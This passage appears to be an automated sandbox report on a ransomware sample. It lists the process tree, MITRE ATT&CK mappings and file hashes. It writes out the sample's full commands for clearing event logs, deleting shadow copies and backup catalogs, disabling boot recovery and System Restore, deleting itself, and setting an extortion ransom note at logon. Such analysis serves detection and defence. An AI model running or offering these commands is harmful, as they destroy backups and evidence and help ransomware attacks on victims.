- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2264
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1548
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1504
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:568
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2856
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2784
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "SystemDefense" /F
  2⤵
  PID:2252
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "SystemDefense" /F
    3⤵
    PID:2944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:1672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:1824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WELCOME " /f
  2⤵
  PID:2128
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WELCOME " /f
    3⤵
    PID:1564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " We have penetrated your whole network due some critical security issues. We have encrypted all files on each host in the network , We have also Took your critical data AND in case of NO corporation until the end of the deadline we WILL leak or sell your data, the only way to stop this process is successful corporation. ([email protected]) AND :([email protected] ) " /f
  2⤵
  PID:2968
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " We have penetrated your whole network due some critical security issues. We have encrypted all files on each host in the network , We have also Took your critical data AND in case of NO corporation until the end of the deadline we WILL leak or sell your data, the only way to stop this process is successful corporation. ([email protected]) AND :([email protected] ) " /f
    3⤵
    PID:1696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2228
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\$Risen_Note.txt
  2⤵
  PID:904
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\$Risen_Note.txt
    3⤵
    PID:580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\$Risen_Guide.hta
  2⤵
  PID:1756
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\$Risen_Guide.hta"
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1724
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe"
  2⤵
  - Deletes itself
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:600
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2872

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1868

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1612

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1156

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2600

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\$Risen[WMWHP614XE].Private

Filesize
1KB

MD5
5a3b6326a2e67c104c0501d7266eaced

SHA1
7ab4f19a7f5ef17a157afcb14e76edf9d10588dc

SHA256
ffd276b78c2c65e48a9435735cabf0b04d1bee7622284979f0e430416ebcf04a

SHA512
3af81779070a2d1f841435ce0bd693a8764c5341cd518c555d2a44a9842b033f7d9a55be3b62293b95a5f61c3eba8210c42ac61fb5d63fe8d007818c2f8d27a9

Download Submit
C:\ProgramData\$Risen_Guide.hta

Filesize
7KB

MD5
f72953897aeda861e9b305ea6f230cda

SHA1
b09f549c18095826ef77e3ed93cb2181772ff5e5

SHA256
dffbca6f7e1c0a45c814a316faaea8e682094ddb54d86680a16f3551e35822cc

SHA512
4766a8c4e59dd65159e41f8c27c7248c0d57b070671103c627c3966af5255505ea6bd39da9829f74de3cc3b5ce0d6d05dc82e1a85df3df862a3b3890800f28c3

Download Submit
C:\ProgramData\$Risen_Note.txt

Filesize
1KB

MD5
38d74c966dffebe6f11672be08a614a9

SHA1
87ba5f65b8b8d601452f57f841145e723b578dc4

SHA256
a63ed2a168db4a438976b68ad85d0cbfed29a17ef1da6ee37e855250f8607d63

SHA512
b62f8cae7bbf8c7d452c9bf3193480a3b257ef7e4fb150c53ad6b3f46dacfaa65cecc3dcfbf7d66d6042a0b9ac1cf8fa4bba336dc166c556fe245e34cdfac5eb

Download Submit
memory/2480-0-0x00000000002F0000-0x0000000000339000-memory.dmp

Filesize
292KB

Download
memory/2480-1533-0x00000000002F0000-0x0000000000339000-memory.dmp

Filesize
292KB

Download
memory/2480-4407-0x00000000002F0000-0x0000000000339000-memory.dmp

Filesize
292KB

Download
memory/2480-5063-0x00000000002F0000-0x0000000000339000-memory.dmp

Filesize
292KB

Download
memory/2480-8098-0x00000000002F0000-0x0000000000339000-memory.dmp

Filesize
292KB

Download
memory/2480-11566-0x00000000002F0000-0x0000000000339000-memory.dmp

Filesize
292KB

Download
memory/2480-11569-0x00000000002F0000-0x0000000000339000-memory.dmp

Filesize
292KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads